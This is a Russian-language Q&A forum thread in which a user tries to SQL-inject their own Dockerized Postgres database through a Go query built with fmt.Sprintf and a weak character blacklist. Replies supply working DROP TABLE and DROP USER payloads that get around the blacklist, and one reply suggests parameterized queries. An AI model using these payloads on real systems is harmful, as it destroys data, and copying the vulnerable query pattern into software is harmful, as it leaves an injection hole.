SQL injection в Postgres и GO?

Question

[SSSSTTTTAAAASSSS]

Добрый день всем!
Уже битый час бьюсь не могу сделать SQLi в своей DB поднятой в докере.
Цель - сломать базу. По всей информации это можно, и даже легко, но у меня совсем не получается.
Что имеем:
blacklist со следующими символами: {"\"", "#", "-"} - эти символы вытираются, если встречаются в строке.
квери, которая идет запросом в базу:

`SELECT id FROM users WHERE username='` + username + `'`

В юзернейм могу писать все что угодно, без указанных символов в blacklist-e.
Что пробовал:
Robert';DROP TABLE users;
Robert';DROP TABLE users
Robert;DROP TABLE users:
Robert';DROP TABLE users'
Robert';DROP TABLE users/*
Robert';DROP TABLE users;/*
Robert';DROP TABLE users:
'DROP TABLE users;
Robert');DROP TABLE users:

Ну и еще со скобками в разных вариацих, апострофами и т.д.
Почти везде одна и таже ошибка в коснсоле у POSTGRES:

ERROR:  syntax error at or near .... at character XX

И хз как мне дропнуть тут базу...
Может кто может помочь?)
Заранее спасибо

Comments

[Михаил]

Во-первых, вы уверены что sql-inj там вообще есть? Покажите код, который обращается к БД.
Во-вторых, не скажу за Postgres и го, но в связке PHP + MySQL подобные штуки (несколько запросов через точку с запятой) не проходили в принципе, даже при наличии инжекции. А вот с MS SQL - проходили.

[Akina]

Robert';DROP TABLE users;SELECT '

[SSSSTTTTAAAASSSS]

Михаил,

Вот код, который обращается к базе:

var user models.User

	query := fmt.Sprintf("SELECT id FROM users WHERE username='%s'", username)
	err := storage.DB.QueryRow(query).Scan(&user.Id)                           
	if err != nil {
		return nil, errors.New("couldn't find user in database")
	}

[SSSSTTTTAAAASSSS]

Akina,
Спасибо большое, отлично отрабатывает!
Даже лучше, чем мой вариант.
Хорошего дня всем!

Answer 1

[FedorWK]

Судя по данному вопросу на SO, дефолтный sql-драйвер не поддерживает выполнение нескольких statement в одном запросе

Comments

[SSSSTTTTAAAASSSS]

FedorWK
Федор, спасибо за коммент, но если отключить блеклист, то база дропается после того как юзернейм:
Robert';DROP TABLE users--
Так что вроде как поддерживает.

[Михаил]

SSSSTTTTAAAASSSS, так у вас дефис в блэклисте, соответственно -- вымарывается.

[SSSSTTTTAAAASSSS]

Михаил,

Я понимаю, я ж и говорю, что если выключить проверку на блеклист, то база дропается, а соответственно драйвер значит поддерживает...

[Михаил]

SSSSTTTTAAAASSSS, я просто не понимаю вашего вопроса. Выглядит как эксперимент.
Инжекцию вы увидели. Дальше-то что?

[SSSSTTTTAAAASSSS]

Вот например такое работает:
x');DROP USER root

Answer 2

[Freeman]

А использовать параметры не?